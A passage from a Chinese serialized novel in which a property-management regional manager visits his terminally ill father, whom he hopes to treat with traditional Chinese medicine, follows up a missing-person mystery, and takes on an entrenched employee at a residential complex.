我给林翔打了电话，林翔说已经通知了冯楠的亲属来异地料理。 看着冯楠骨瘦如柴的样子，很难跟荟萃亭那个意气风发的大叔形象相提并论。 如果当初他知道丁有生干的事情之后，就彻底远离，会不会就不会发生今天的事了？晶晶也不会受到殃及。 坐上回B市的火车，我迫不及待的给我妈打电话。 “妈，我今天回去，你们是不是在我和师哥的宿舍呢？” “没有，敬之给我们租了个房子，特别大，就在那个锦绣小区，他说你知道这个小区。”我妈听到我的声音很开心。 “向荣啊，你爸想你了，他想和你说几句。” “好，妈你把电话给我爸。” “儿子，今天回家呀？”好多年没听到我爸的声音了，话筒里刚一传来，瞬间击中了我的泪点。 “爸，您怎么样？儿子给你带了好东西，你在家等我。”我极力的控制着情绪。 “行，我让你妈给你做你最爱吃的菜，晚上敬之下班回来，咱们一起吃。”我爸的声音喜悦中夹杂着疲惫。 “爸，把电话给我妈吧，我还有一个小时左右就到B市了，你先休息一会儿。” 我妈接过电话问我还有什么事，她要去做饭，我告诉她，我姐最近也要来看我，到时候我们一家人可以坐在一起好好团圆。 我妈的声音在电话里带着哭腔，一个劲儿跟我说好。 父母的心愿一直很简单，一家人坐在一起，好好吃顿饭，聊聊天，儿孙满堂。 可是往往就是这么简单的心愿却很难实现。 结束了和我妈的通话刚想小眯一会儿，手机又响了，是林皓。 “林哥，你终于给我打电话了，想死我了！”我很惊喜。 “向荣，哈哈，这么想我啊！说的我这个大老爷们儿很受用，哈哈！”林皓的声音一点没变。 “林哥，你去哪发财了？杳无音信的。你知道不知道老袁让我做了你的位置？这通乱的，闹鬼的、没人的、还有告状索赔的，这还没完呢，还有三家没去上呢，特派员还要来检查，我一个脑袋好几个大！”我如实的抱怨着。 “向荣，这是好事啊！我走的时候就想过，如果集团把你提拔上来，那算他们眼不瞎，如果不是，而且再把你弄走，那这个集团气数也就要尽了。”林皓为我感到高兴。 “林哥，你现在忙什么呢到底？”我又问。 “我啊，自己干，老本行，正在洽谈一个项目，是个商业物业，如果谈成了，能赚点钱，嘻嘻。”林皓明显很开心。 “太好了！林哥，你当初可是说了，要带我走，我随时候命！”我也很高兴。 “向荣，你看你，咋还像小孩似的呢，你现在是大区总了，年薪至少30吧？你来我这，我现在连10都给不了，这事儿我能干吗？我当然是希望有兄弟帮衬，但是可以有很多形式，等我有能力给你高于现在的薪资了，我肯定上门去请你来！”林皓很实诚。 “林哥，我......”我还想表态。 “兄弟，不要说那么多，哥知道你的为人，咱们俩之间不需要解释那么多。等我需要你的时候，我知道，就算是我不给你钱，你也会来的。”林皓阻止我下面的话。 “好，林哥，那我就先祝你马到功成了！”我也笑哈哈的跟林皓寒暄起来。 结束通话后，我困意全无，干物业这些年，我的收获很多，但也有失去，比如说我爸。 不行！我就不信了我学的可是医术，怎么就不能帮自己的父亲了吗？ 即便不能根治，我让他没有痛苦或者减轻他的痛苦，再好一点，我帮他延长走的时间，这些是可以有的啊！ 打定主意，我不再那么悲观，给师哥发了条信息：今晚回家吃大餐。 很快王敬之就给我回：胡汉三回来收刮了！ 我嘿嘿嘿的笑起来，这个时候，就只有跟王敬之逗逗闷子能解压。 锦绣的大房子确实好，格局宽敞明亮，阳光满满，王敬之给租的是二楼，方便老人没事锻炼个身体，走楼梯。 我妈看到我就给了我一个拥抱，然后就哭开了，在我这个高大的儿子面前，她俨然是一个瘦小的、需要我保护的样子了。 我抱住我老妈，忽然就想起小时候她抱着我，给我擦嘴、喂我吃饭。 “妈，你看你，儿子回来，你咋还哭了。”我一边说一边给我妈擦眼泪。 王敬之在旁边看的好眼热。 我爸也站在旁边，他从小就给我严父的一面，表情拘谨，但是又很想也跟我亲近。 我主动走过去，抱了抱我爸，这一抱我的心一揪，我爸怎么瘦成了这样了，骨瘦如柴。 “爸，儿子回来了，好久不见！”我忍着、再忍着，还是哭了出来。 “回来就好，来，吃饭！”我爸还是保持着父亲的姿态，拍拍我，示意我不要哭。 我妈做了四个菜，都是我爱吃的，我悄咪咪看看王敬之，这家伙在我走的这段时间应该是累坏了。 “师哥，这杯饮料我干了，爸和妈的事你费心了！”我喝光了杯子里的饮料。 我妈和我爸也都感激的看着王敬之，给王敬之搞的好不自在。 “向荣，你看你，出去转一圈咋还变得这么滑头了，这都是自己家的事情，我不是你师哥吗？师父走的时候跟我说了，要我当自己弟弟一样照顾你。” 我妈一听到我姥爷，就又开始抹泪。 “妈，您今天是怎么了，这么善感，儿子回来你不高兴啊！” “高兴，高兴，来吧，吃吧！”我妈微笑着招呼我们吃饭。 我爸吃的很少，时不时的咳嗽，王敬之给我递眼色，意思饭后有话说。 饭桌上我给我爸妈讲着这些年遇到的趣事儿，跟他们说着我每一次的“解决”，我爸的眼睛里终于有了欣慰。 可能他也没想到，他这个没上过大学的儿子能当这么大的官儿吧。 “向荣，不要骄傲，能干一阵儿没什么，能干很久，才说明你行。”我爸的观点虽然很土，但是很朴实，很实用。 “爸，你放心吧！现在你们住的这里，就是我第一个战斗阵地，我对这里是很有感情的。当时平息跳楼女业主风波、拆除违建，还有偷窥的3号，都是这里的。”我回忆着。 “向荣啊，妈平时出门，总有个老大姐跟我笑，还和我打招呼，她说你给她治好了心脏病啊？”我妈询问我。 “哦，是那个心衰的大娘，对，她有心衰的毛病，我给她写了一个长期调养的药方。” “儿子，敬之最近给我喝的汤药也不错，晚上不再是成宿的睡不着了。”我爸说。 我看看王敬之，“师哥，我俩一会儿真得切磋一下这药方，我也有一些自己的想法。” “好啊，叔叔这个病完全可以通过中医做一些改善的。”王敬之很自信，也无形中证实了我的想法，不是没可能的。 第一百二十五章 陪爸爸最后一程 晚餐结束以后，我陪着我爸妈聊了一会儿，看他们明显累了，就让他们先休息，我去找王敬之。 “师哥，我走这段时间，锦绣不错吧？我倒是没听说什么异常声音。”我问。 “我在这儿，肯定不能给你掉链子，担啥心！”王敬之不紧不慢的回。 “晶晶有消息了吗？”王敬之心心念念的还是冯六日。 于是我把怎么遇到的许德生，冯楠如何受的伤，现在什么情况，都跟王敬之说了一遍。 “冯楠家没有地下室，我很确定。”王敬之的兴趣完全被挑起。 “我也是这么说，但是冯楠当时跟我说的那几个字很清楚，就是说的他家地下室。”我也很笃定自己没有听错。 “除非，他还有别的房子。”王敬之跟我想到了一起。 “晶晶和你说过她家还有其它的房子吗？”我问王敬之。 王敬之茫然的摇摇头，“这事儿你得去问问郑杰了，他是极有可能知道的。我现在想的是他家的地下室跟刘才东有什么关系呢？刘才东的尸体不是在那个hf溶液里吗？” “的确，你想的也是我想不通的。只要找到地下室就知道谜底了。”我回。 “师哥，我最担心的还是冯晶晶，她一个小姑娘，现在丁有生也不能保护她了，她会在哪呢？你最后一面见到她的时候，就是那次你被袭击的时候，对吗？”我问。 “对，那次我被绑住，冯楠替我求情，却被许德生扎了一刀，晶晶目睹了这一切，当时许德生还要对她下手，是丁有生拦住了他。晶晶当时被许德生打昏了，带到了哪里就不知道了。”王敬之默默的回忆，我知道他心里很惦记冯晶晶的安危。 “师哥，接下来我们一起寻找冯晶晶吧，还有冯楠家地下室的秘密。对了，我还要查刘才东账户上的50万是怎么回事。”我征询王敬之的意见。 “还有我的黄金罗盘。”王敬之还没忘自己的小罗盘。 “这一次我特意帮你看了许德生待过的地方，没有任何罗盘的蛛丝马迹，这事儿我帮你找林翔，让他审讯丁有生的时候问一问。”我回。 “行，我们先找冯楠家的地下室。这事儿你也得找林翔问郑杰了。”王敬之说。 我点头应承。 “向荣，叔叔的病，医生说是肺癌晚期，只有3个月左右的时间了。”王敬之突然转移话题。 他默默的看着我，这个消息确实让我心如刀割。 “师哥，咱们学中医的时候，关于癌症是怎么讲的，你还记得吗？” “中医学并没有“癌症”这个概念，这些疾病统称为“肿瘤”，肿瘤是由体内的淤血、痰湿、气滞等因素引起的，可以通过调整体内的平衡、促进气血流通和增强机体自愈能力，来治疗这些疾病。”王敬之的回答就是我心里的答案。 “那你说，如果我按照这些方向去下方子熬药，我爸有延长时间的可能吗？”我问。 “我只能说，有希望。西医借助先进仪器和检测，得出的结论也是有根有据的。而且我们去了两家权威性的医院，都是一个结果。”王敬之回。 “师哥，我想试一试。作为儿女，这也算是我最后给与父母的回报吧。既然学了这个，也懂得其中的奥妙，如果不尝试一下，我一定会后悔。”我很坚定。 “向荣，你还要考虑叔叔的身体状况，他现在特别虚弱，有些药方的使用上，必须注意，否则会适得其反。医生说现在还没发现转移，一旦有转移，他就会开始疼痛。” 我听着王敬之的话，很难过，我无法想象我爸现在瘦弱的身体，能不能扛得住后期的肉体疼痛。 第二天我给我爸把了脉，结合几家医院的诊疗结果，写了一个治疗方子，我决定自己去抓药给他熬。 “爸，你相信儿子能治你的病吗？”我问我爸，我想知道他的想法。 “爸相信！但是爸也相信定数，儿子，不论结果如何，咱们都不要太执着，爸知道你现在有出息了，就已经没有什么遗憾了。”我爸很平静的说。 他的话让我特别意外，没想到我爸已经将这件事情想的这么透彻。 可是他不知道，我和我姐、包括我妈都舍不得放手，我们还没有过上向往的日子不是吗？ “行，爸相信我就行，我今天就去给你抓药，咱们先喝一副试试。” 我爸点点头，然后又跟我说：“儿子，你给你姐打电话，让她过来待几天，把我大外孙也带来，就说爸想她们。” “好，爸我一会儿就给我姐打电话，你就等好消息吧！”我爸很开心，但是依旧很憔悴。 去抓药的路上，手机不依不饶的响了一次又一次，我只好将拎着的大袋子放到地上，先接电话。 是老袁，“向荣，怎么这么久才接电话，祝贺你啊！搞定了德邻居的诉讼，还收齐了连续两年的管理费！你确实是个福将。” “袁总，我在路上，手里拎着东西，所以没方便接。您的祝贺我收到了，谢谢领导的栽培，我会继续努力！”我赶紧表决心，对老袁的情感早就没了初见时的隔阂。 “哈哈，你这张嘴啊，是越来越会说话了。我今天找你还有件事，特派员已经定下来了，下个月去临市检查，他要先去天和人家，据说那里有个老板的远房亲戚，跟一个叫周天翔的人不对付，具体什么内情我也不清楚，所以需要你尽快安排先去那里看看。” “周天翔？我知道这个人，上次参加电话会议的就是他。他是和我一起入职的，还去集团领过奖。不过，袁总，老板的远方亲戚？是哪一个啊？你得提前告诉我啊，万一我这暴脾气给人家得罪了，饭碗不保了。” “我也是听说，具体是什么亲戚我不清楚，不过，应该是经常走动，因为那里的事情老板都知道。是个女的，干的是客服的活，名字我记不住了，那里客服就一个人。” “好，袁总，我安排一下这边的工作，争取后天就到临市。” “行，那我们保持联系，记住，遇到事多问问我，这些关系网我比你清楚，可别惹了哪个亲属，那就不值当了。”老袁说完跟我结束了通话。 乖乖，怎么跟升级打怪一样，职场的关系网我最搞不定了，哎！ 第一百二十六章 职场打压 跟我姐联系之后，我姐说就这一两天就过来。 “姐，你来了我可能不在，你好好陪陪爸妈吧，我必须先去出趟差。”我说。 “什么事那么急呀？等我到了你再走呗，我们一家人吃个团圆饭。”我姐有点失望。 “你等我，我去不了几天就回来了。敬之会在，有什么事你就找他就行。” “好吧，那你尽快回来噢，我们一家人好多年没一起吃个饭了。” “好！”结束跟我姐的通话后，我努力的回忆着上一次我们一家人一起吃饭的时候，好像还是我出发来b市之前，爸妈和我姐给我践行。 我又跟林翔通了话，跟他说我又要去临市了，办完事我再去看看冯楠。 “对了，老林，郑杰已经被收监了是吗？你给问一下冯楠还有没有其它房子，我猜地下室有可能说的是别的房子。” “好，这一点我也想到了，正准备下午提审他，然后问一下。还需要我问什么？” “知我者莫若你啊！还要问问丁有生，我师哥的黄金罗盘他给搞哪去了？那个东西有点历史，是我师哥的心头好，绝对不是什么随意物件。”我嘱咐林翔。 “好，放心吧，这些事我一起都给你办了。对了，刘才东的50万有了一点眉目。” 我很着急的问：“什么眉目？” “那笔钱好像是从谢敏的海外户头打过去的，我们还没有最后确认。”林翔说。 “谢敏？”我懵了，“难道说东哥真的跟谢敏好上了？” “谁知道呢，这钱应该已经让刘才东家里的人花掉了，他父亲得了癌症。”林翔说。 “老林，这事我意见保留，不到最后一刻我都不会放弃对东哥人品的信任。” “好了，那先这样吧，你让我问的事情，我晚一些告诉你。” 挂掉电话以后，我给自己预定了去临市的火车票，不知为什么心里总是有点慌。 老板的亲戚，具体得多亲呢？如果是事实的话，那也算“皇亲国戚”，我该怎么能既保住自己、又解决问题呢？ 出发前，跟我爸说了喝汤药的注意事项，“爸，忌口的条目挺多的，你多忍一忍，咱们治病要紧，等好一点了，儿子再一点点做给你吃，好不好？” 我爸点点头，“去吧，好好工作，家里有你妈还有你姐，别惦记我！” 我背上背包出了家门，可我不知道的是，等我再回来的时候，我爸已经住进了医院。 再次到达临市，竟也有了一些熟悉感，天和人家是成熟型物业，业户有40是回迁户，在某种维度上说，它更像城中花园。 不同的是，物业的底子打得很好，费用收缴率一直排名前三，也没有什么大的投诉和社会不良事件发生过，属于风调雨顺型楼盘。 我这次来主要的问题在于物业团队内部，而不是业户和物业的问题。 我确实想看看这位老板的亲戚是什么样一个人。 来接我的人正是周天翔，中等个头，短平头，露出宽阔的额头，脸庞刚毅，戴着一副金丝眼镜，看着文质彬彬的。 “吕总您好！欢迎你来。”周天翔伸出手跟我握手。 我对这张脸确实没有似曾相识的印象，但是这个有文化的模样是让我有好感的。 “你好，周天翔，我确实不记得之前我们见过，哈哈哈！”我跟他寒暄起来。 “那时候我们俩都是刚来集团，我对你印象深是因为你上台领奖，我坐在林皓总的后一排，我听见他跟旁边的总助大夸特夸你，所以就记住了你的名字。”周天翔也带着笑意说。 “哈哈，林哥确实是我的领路人，但我没有他说的那么好，不要全信。”我回。 “自从上一次会议之后，你这边谁都管事儿的问题有改善吗？”我问。 周天翔看看我，苦笑了一下，“这也是我正想和你说的，我打算干到这个月月底就不干了，今天也是想当面跟你辞职的。” “辞职？你都干了这么多年了，为什么要做这么决绝的决定？有什么问题解决不了的？”我很惊讶。 “明天是我们开例会的时间，您旁听一下就明白了。”周天翔说。 “好，我倒要看看有多难搞，竟然把你这么优秀的人给干辞职了！”我微微有些愠怒。 周天翔跟我介绍了现在团队的情况，工程有3个人，安保4个人，保洁是外包公司派来的，不占我们编制，剩下就是他跟另一个客服。 招他来的时候，岗位定的是物业经理，但是却迟迟没有扶正，薪资也没有达到集团物业经理的标准。 所以他一直说了不算，另一个客服反倒是张张罗罗的很管事儿。 “客服多大年纪？男的女的？”我想听听周天翔怎么说。 “她今年40多岁了，女的，算是天和人家的元老，楼盘刚交付的时候她就在。我是空降兵，群众基础没有她好。”周天翔回。 “如果她能力够用，集团为什么还招你来？这里面说明问题啊，肯定是她有问题。” 周天翔无奈的笑了笑，“有没有问题，您的自己了解，我从来不在背后议论别人。” 我一听，这个品质好，优秀！ “吕总，宿舍到了，我就不跟你上去了，那几个保安看见我也不说话，我不想尴尬。” “啊？这么严重，在一个团队工作，怎么到了不说话的地步了？”我问。 周天翔没说话，跟我道了别回去了。 看来问题蛮严重的，白热化了都，这到底是什么亲戚呢，这么硬？ 来到宿舍，几个人已经给我留出了一间房，有一个个子不高的保安说：“娴姐说了，吕总要来，让我们给腾出一间房，您就是吕总吧？” “对，我就是吕向荣，你们好！”我放下行李，看看几个保安，形象倒是还可以，但是这机灵劲是真不够。 住下后，一夜无话，我就等着明天白天参加会议了，我倒要看看什么情况能让周天翔想辞职。 物业团队例会在次日早上上班后，如期举行，除了保洁以外，都到齐了。 这个团队不小，是我辖区内人最多的楼盘了。 正想着，周天翔说话了，“今天是我们团队的例会日，也是区总来我们这视察的日子，我们还按照每周例行的程序走一遍，最后让吕总给我们讲讲话，好不好？” 这话问完了，没有一个人搭茬的，都不说话，就像周天翔没问过、也不存在一样。 第一百二十七章 憋屈的物业经理 我也不说话，我倒要看看这群人要唱哪一出。 这时候一个女人说话了，“欢迎吕总莅临指导工作！”还带头鼓起了掌。 就像一石激起千层浪，这些人一起开始鼓掌，“欢迎吕总莅临指导工作”、“欢迎吕总”、“欢迎......” 我不禁好奇的打量起说话的女人，她应该就是程佩娴，对方这时候也微笑的看着我。 不到40岁的年纪，穿着简洁的套装，颜色搭配得体，鞋子擦拭得光可鉴人，眉眼间流露的气质不可捉摸，五官长相平淡无奇，但是打扮确实让人过目不忘。 作为礼节，我坐在座位上回应：“谢谢大家，你们先开会，我也熟悉熟悉情况，我最后一个发言吧。” 团队安静下来，周天翔略微尴尬的说：“工程的王师傅，你先介绍一下本周维保方面的工作和存在问题吧。” 被叫做王师傅的人拿出本子，年纪明显偏大，手微微颤抖，特意戴上了眼镜，开始说：“本周维保和巡检工作正常进行，计划内任务的达成率90%以上，工作进展和进度方面都没有问题。团队内部有个问题，李明家里爱人生孩子，需要休假，想问问咱们集团这种假期给休几天？” 周天翔想了想说：“按国家规定，晚育的护理假有3天，你那边工作重新排一下，尽量保证员工的假期......” “王师傅，咱们公司成立这么多年了，可没有人申请这样的假，他爱人生孩子，他下班后就可以回去照顾，没必要吧，你替他问这个！”程佩娴在没得到任何人的应许下直接就说话了。 她这番话说完，王师傅和周天翔都没说话，而且很明显的，王师傅先看看周天翔，看周天翔没有反驳的意思，就再也不吭声了，但脸上明显带着不悦。 我一看，这也并不是群众基础有多牢嘛，只是当领导的不作为，下边人也不想掺和。 周天翔指指其中一个微胖的中年男人，说：“栗华，你说一下安保那边的工作。” 这个栗华挺逗的，竟然先看看程佩娴，看程佩娴没说话，他打开本子开始说：“安保这边本周将监控、消防这些设备做了巡检，把有问题的都反馈给了王师傅，力争在月底前全部维修完毕，恢复正常使用。没有其它问题。” “保洁这边呢？有什么需要讨论的吗？”周天翔问。 来之前我特意了解了一下天和人家的保洁，是刚接手的时候，当地联系的外包公司合作的，没有自己招人，现在合作应该也有五六年了。 我猜应该是程佩娴去洽谈的外包，果然的，保洁没有发言，程佩娴说话了。 “保洁这边没事儿，都按部就班的按照我们的要求做呢，最近你们接到业主投诉了吗？” 程佩娴的问话像是在问周天翔，而且是作为外包方在问。 我感觉不妥，而且立刻想起了四季云顶收黑钱的小A。 “倒是没接到投诉，不过......”周天翔回答着程佩娴的问话，欲言又止，还连着看了我好几眼。 “周经理，什么情况？需要我回避吗？”我马上问。 “哦哦，不是的，吕总别误会。”周天翔想了想，还是没忍住直接说：“保洁还是没有按照物业要求的计划表工作，而且时间和关键点，都对不上。” 我一听，这是大事啊，外包公司跟我们是合作关系，干什么、怎么干，肯定得是我们负责，这不按照我们的要求做事，咋行？ “你说这个有根据吗？我去检查的时候可都是按照要求在做的。”程佩娴明显不服。 “我也、也去检查了，但是确实没按照要求，而且还会经常脱岗。”我看着周天翔，仿佛把压抑了很久的话、下了很大决心一样的说了出来。 “周天翔，你是不是成心的？因为吕总来了，你就要找保洁的麻烦？”程佩娴生气了。 我很意外，强烈的意外，我搞不清楚程佩娴的角色了，她到底是哪一头的？ 难道说老板额外给外包公司好处了？ “娴姐，你别生气，咱们就是在这探讨。”周天翔换了一副讨好的嘴脸。 “探讨？那不行啊，这事儿必须得严谨呐，你们大家说是不是？”程佩娴竟然开始发动群众的力量。 果然的，有闹事儿的，就有捧场的 “对” “就是” “还当领导呢，这么不严谨！” ...... 我看着周天翔的表情，脸都快绿了，看的我真着急，罢了。 “好了，我来说两句吧！”话音刚落，在座的都不说话了，齐刷刷的看向我。 程佩娴也看着我，我知道她也想探我的底，我也知道她是老板的什么亲戚，但是这事儿我该和稀泥吗？ 我不能！ 我的为人就不允许我做和稀泥的事情，天和人家不是跟我汇报吗？那我就管定了！ 我把手机拿出来放到桌面上，早就打开了录音，整个会议都在录制中。 “在座的各位有几个人已经认识我了，我叫吕向荣，目前负责天和人家的管理。实不相瞒，我是北方人，说话讲求实事求是、直接，不掖着藏着，这次来的目的是接到上层的指令，要我来了解一下团队内部的问题。” 说到这我停下来，看看在座的每一个人，他们的脸上都写着好奇和期待。 有好奇不稀奇，有期待就是好事，说明这水还没死透。 “你们现在谁管事儿？”我问出第一个问题。 没有一个人说话，我生气了，很严肃的说：“我再说一个我的风格，我问话，不能哑场，不知道可以告诉我不知道，绝对不能不说话。我手里是握着你们每一个人每个月的奖金核算权的，如果你们不想让我给减分，最好一个一个回答我！” 我扯住了拴在他们脖子上的小绳。 “娴姐！”保安有个人喊。 “周经理！”工程的师傅。 跟着其他几个人有说程佩娴的，也有说周天翔的，但是很明显说程佩娴的更多。 而且那几个说是程佩娴的人，还用眼神挑衅的看着我。 我真的不想惯这些人毛病，如果说程佩娴是皇亲国戚我动不了，你们下边这些小沙弥我也动不了吗？ 不听从指令，那就只有一个结果，打包走人，能干的人有得是！ “程佩娴，你的职务是什么？”我直接就冲着刺头发问。 第一百二十八章 我就是油盐不进的 程佩娴楞在那里不说话，我又问了一遍，而且是特别冷峻严肃的表情。 程佩娴选择了妥协，因为她确实不知道我的底。 “客服。”她咬牙切齿的说完，还用眼神射杀我，我根本就没搭理。 “在座的各位听到了吗？程佩娴的回答跟我接到的集团花名册里的职务是一致的，她是客服，周天翔是物业经理。” 有些人在微笑，有些人在给我同情的眼神，还有的人很茫然的看着我。 “好，第二个问题，保洁是外包公司的、还是我们自己集团聘用的？周天翔，你来回答我。”我依旧是按照我的节奏，不紧不慢，不卑不亢。 “是外包公司的。” “好，那你说说我们行使什么权利、外包公司行使什么权利。” 周天翔这回有了我撑腰，说话的底气明显上来了，“外包公司负责按照约定的标准？提供高质量的保洁服务，并接受我们的监督和检查，？支付保洁工资和购买福利，还要？遵守我们的规章制度，服从我们的领导。我们主要行使监督和检查权。” “程佩娴，你有什么意见？”我再次提问程佩娴。 这个女人这会儿已经明显的按捺不住了，“吕总，我有点不舒服，想请会儿假先回去。” “不舒服？哪里不舒服？”她这招儿我确实没料到。 “女人病，吕总感兴趣？”她说完这句，场下给她捧臭脚的几个人都开始嗤笑。 “行，周经理也没什么事的话，我没意见。”这个女人段位确实不一般。 周天翔顺水推舟，准了她的假，程佩娴拎着包出办公室门的时候，特意把门惯的震天响。 我真的是很生气，但是我知道我是区总，不能轻易发作，既然刺头选择了回避，那我就先把“小鬼”们杀一杀。 “今天的会议，我不满意。天和人家是我管理的团队中人数最多的团队，却也是凝聚力最差的团队，你们竟然连谁是主管领导都搞不清楚。接下来，我恐怕要待上一阵，从保安团队开始整顿，有些人可能会不习惯，没关系，不习惯的可以走，我绝对不留。” 我看着在座鸦雀无声的团队，转身跟周天翔说：“散会吧。” 人都走的差不多的时候，负责工程的王师傅特意留了下来。 “吕总，您好啊！我是负责天和家园工程方面工作的，有点事想和您唠唠。” 我看着他憨厚的样子，想起当时他对周天翔不作为的不悦，柔和的对他说：“好啊，王师傅，坐下说。” 王师傅看我如此的热情加和颜悦色，情绪明显热络起来。 “吕总，会上我说的李明，毕了业就来这里工作了，可以说这里全部的硬件设备他都摸过，都给维保过。他跟他爱人属于晚育，结婚以后一直没有孩子，今年两个人都34、5岁了，才要上孩子。按我们老一辈的话说，这是大喜事，也是公司的喜事啊，好运气。可是，会上你也听到了，这个决定我怎么和李明说？会不会伤了员工的心、积极性？” 王师傅等着我表态，我知道他说的都对，他的观点也是我的观点。 “王师傅，你跟员工说，按照国家规定办。咱们集团在员工福利方面一向都是正规操作，而且这个假期的天数，就是批到我这里终审，我准了。要求只有一个，休假期间的工作，作为团队领导你要安排好。” 王师傅笑逐颜开，“吕总啊，您真是个有水平的领导啊！我替李明谢谢你！” “王师傅，别这么说，这都是符合规定的操作，不需要谢。而且今天就算不是李明，是新员工，如果他符合公司制度规定可以享受，那也一样准假。”我表达出准假的理由。 王师傅不住的点头，拿起本本准备回去，走到门口的时候，又折返回来。 “吕总，有件事我得和你说一下，我年纪最大，就算他们知道了是我说的，也无所谓，大不了我就退休回家。”王师傅像是做了很大决定的样子。 “好，有话就说，王师傅，别说那么言重。” “您今天得罪了娴姐，可要小心了，她是直接跟集团老总汇报的，我怕你受牵连。” 其实他折返回来欲言又止的样子，我就大概猜到了他要说什么。 “谢谢你王师傅，程佩娴的背景我略有耳闻。不过很不巧，我还就是一个油盐不进的，在我这里只有规章制度、工作业绩，没有别的。” 王师傅惊讶的看着我，眼神里从担忧逐渐转变为欣赏，笑眯眯的转身离开了办公室。 可是果然报复来的迅速，让我为之惊叹。 老袁的电话在下班后两个小时内打了过来，“向荣，你怎么搞的？这么鲁莽。我不是和你说了遇到事情先问问我再出手的吗？老板刚刚给我打完电话。” “袁总，您是第一天认识我吗？您派我去之前应该就知道我很容易把天捅个窟窿。”我嬉笑着在电话里跟老袁说。 “你这臭小子，还和我开玩笑。老板问我你到底行不行，不行就让你回去。” “那您是怎么说的？”我更关心我在老袁心中的定位。 “我自然是说你行啊！而且不是他问我了我才说你行，我派你去的时候就知道你行。” 老袁的回答给了我很大的安慰，于是我把会上的事情详细的给老袁说了一遍。 “全程我都录了音，等我整顿完回去以后，这些我都会打包邮寄给老板，让他自己去判断。如果他想让我走，我可以走，但是我的处事原则不能变。”我很坚决。 “如果是这样的话，这个程佩娴很有问题呀，你查查那个外包公司是不是老板搞的。如果不是老板的，那这里面肯定涉及违规操作。”老袁很敏感。 “好的袁总。袁总，现在您可以告诉我程佩娴到底是哪根线上的皇亲了吗？”我问。 “我今天正面问老板了，老板说她是老板弟弟家原来佣人的孩子。” “啥？拐这么大弯，这，听着不像皇亲呀！”我被真相镇住，有点失望。 “老板说了，这个佣人是看着老板弟弟长大的，受雇于老板，关系特别亲。”老袁补充。 “袁总，那这件事您是什么意见？您是我领导，事情我也向您汇报了，我尊重您的处理意见。”我知道，企业是别人的，我有自己的原则没问题，但也要看人家愿不愿意治。 第一百二十九章 撂挑子的治理办法 “老板同意治，但是必须有推不倒的证据。”老袁很肯定的给了我回复。 看来老袁跟老板的关系不一般呐，彼此之间能把这件事情聊到这么深入的程度。 “袁总，看来您早就猜到了一切，您刚给我打电话的时候，是要灭灭我的威风吧？”我笑嘻嘻的在电话里问。 “行了，干活去吧，天捅破了我给你补。”老袁最后这句是我在这里继续下去的动力。 第二天上班后，周天翔来找我。 “吕总，程佩娴没有来上班，给我发了条信息请病假。”周天翔还是喏喏的。 “天翔，按照公司制度办，以后这些事不要来问我。在你权限范围内的，你要自己搞定。这会儿你有没有事？如果没有的话，我们聊聊。”对周天翔，我要看看是否能培养。 “这会儿没事，我也正想和您聊聊。”周天翔说。 “好，那就你先说吧。”我看看他想要跟我说什么。 “吕总，您觉得我能当物业经理吗？”周天翔忐忑的问我。 “怎么是我觉得？何况，我昨天才认识你，我现在的答案不客观。”我回。 “没关系的吕总，您昨天也看到了，基本上就是天和人家物业团队的面貌，并不是冰山一角，我想听听你的看法。”周天翔的表达能力还是很好的。 “行，这也是我要找你聊的，既然我们想聊的内容相同，我就开门见山吧。我想问你个问题，你为什么那么怕跟程佩娴硬刚？”我严肃的问。 “她是老板家的亲戚，又是老员工，我来以后，手里这套工作都是她交接给我的。而且，你也看到了，大部分员工都站在她那边，我就算是刚了，也不会是什么好结果。所以我不如自己主动走，省的在职业生涯上留个败笔，被人辞退。”周天翔说的全是心里话。 “天翔，我跟你一样，甚至我可能还不如你，没念过大学，没有关系，就是当初林皓带着我，罩着我，我靠着一腔孤勇走到了现在，你认为我敢于得罪老板的亲戚吗？”我又问。 周天翔不置可否，他在等我的后文。 “如果她是当物业经理的合适人选，集团为什么后来又要招你？你想过这个问题吗？而且，团队为什么一边倒了，他们看到你也妥协着，他们没必要得罪程佩娴，你说对吗？” 周天翔默默的点头，然后又问我：“集团既然觉得我可以做，为什么迟迟不给我扶正？薪资也没有按照物业经理的开，他们不给我做后盾，我怎么去管团队？” “在抱怨组织的时候，先想想自己有没有做到。这些年因为你的不作为，很多工作都是程佩娴操刀，她完全可以去老板那里说，都是她在支撑着这里，你的能力有限。”我看着他说。 周天翔恍然大悟，“吕总，跟你聊天效率很高，我明白了我为什么一直上不去。” “那你还要辞职吗？想雪耻吗？”我问。 “我当然想干下去，但是现在的情况，恐怕不是你和我能改变的吧。”周天翔很悲观。 “程佩娴这套不面对面硬刚的手段经常用，之前也是，很多次我抓到她的把柄，她都跟我使用撂挑子这个方法，没办法，她手里的关键工作太多了，不能没有她。”周天翔无奈的说。 “天翔，你必须从不依赖她开始做起，才能有雪耻的可能。没有什么事情是离开谁就不行的。”我提醒他。 “吕总，您的意思是？” “我的意思是，人可以换。”我很坚定，“你今天可以开始寻觅简历，找一个年轻的、愿意干物业的人。另外，你给我约一下外包公司的负责人，我想跟他们吃个饭，你也作陪。” 周天翔惊讶于我的计划，但是眼神亮了亮，“好的！我这就去办！” 下午的时候，我对整个物业园区做了地毯式的巡查，整整用了两个小时。 “天翔，跟保安4个人说一下，下班后到我这开个会。”我准备先整顿安保。 天和人家的四个保安，年纪都在30岁左右，薪资不低，保安队长栗华是贼眉鼠眼的一个人。 “栗华，你先说一说你们安保的月度工作安排，哪些是每天例行的、哪些是机动性的？”我想验证一下他的能力。 “这，我们团队的工作都是娴姐安排，她要我们做什么我们就做什么，例行工作就是值勤呗，看监控。”栗华说话不加掩饰，果然没什么内涵。 “程佩娴安排？为什么？”我明知故问，倒要看看他怎么解释。 栗华根本没把我放在眼里，白了我一眼继续说：“我入职的时候就是娴姐管，她给我布置工作，没人来通知过我要有什么变化。而且，天和家园这几年的安保都没出现过问题，没有过投诉。” “没有投诉是吧，好，你看看这些。”我把巡视时候拍下的不合规照片拿给栗华看。 “这些都是下午我去巡检时发现的，你怎么解释？我们的工作不是没有投诉就代表做得好吧？我记得绩效考核里不是这么写的。”我严肃的说。 栗华一张一张的看着，额头泌出了汗珠。 “你每天都去巡查吗？一天几次？”我又问。 栗华彻底坐不住了，支支吾吾的说：“每天都，不是，不是每天都巡查。这里是成熟物业了，大门管的也严，外来人进不来，不用每天巡查的。” “外来人进不来是吗？我下午巡查的两个小时，消控室缺岗达到一个小时，门卫抬杆一直就没放下过，光我自己就看到有好几个搞家政和中介租房的出入过，你对你说过的话负责么？”我很不满。 这时候栗华彻底憋不住了，“吕总，你这是在找我茬啊！要开我你就直接说，不用跟我玩这些套路。我不是非得在天和人家干，有好几个地方要我呢！” 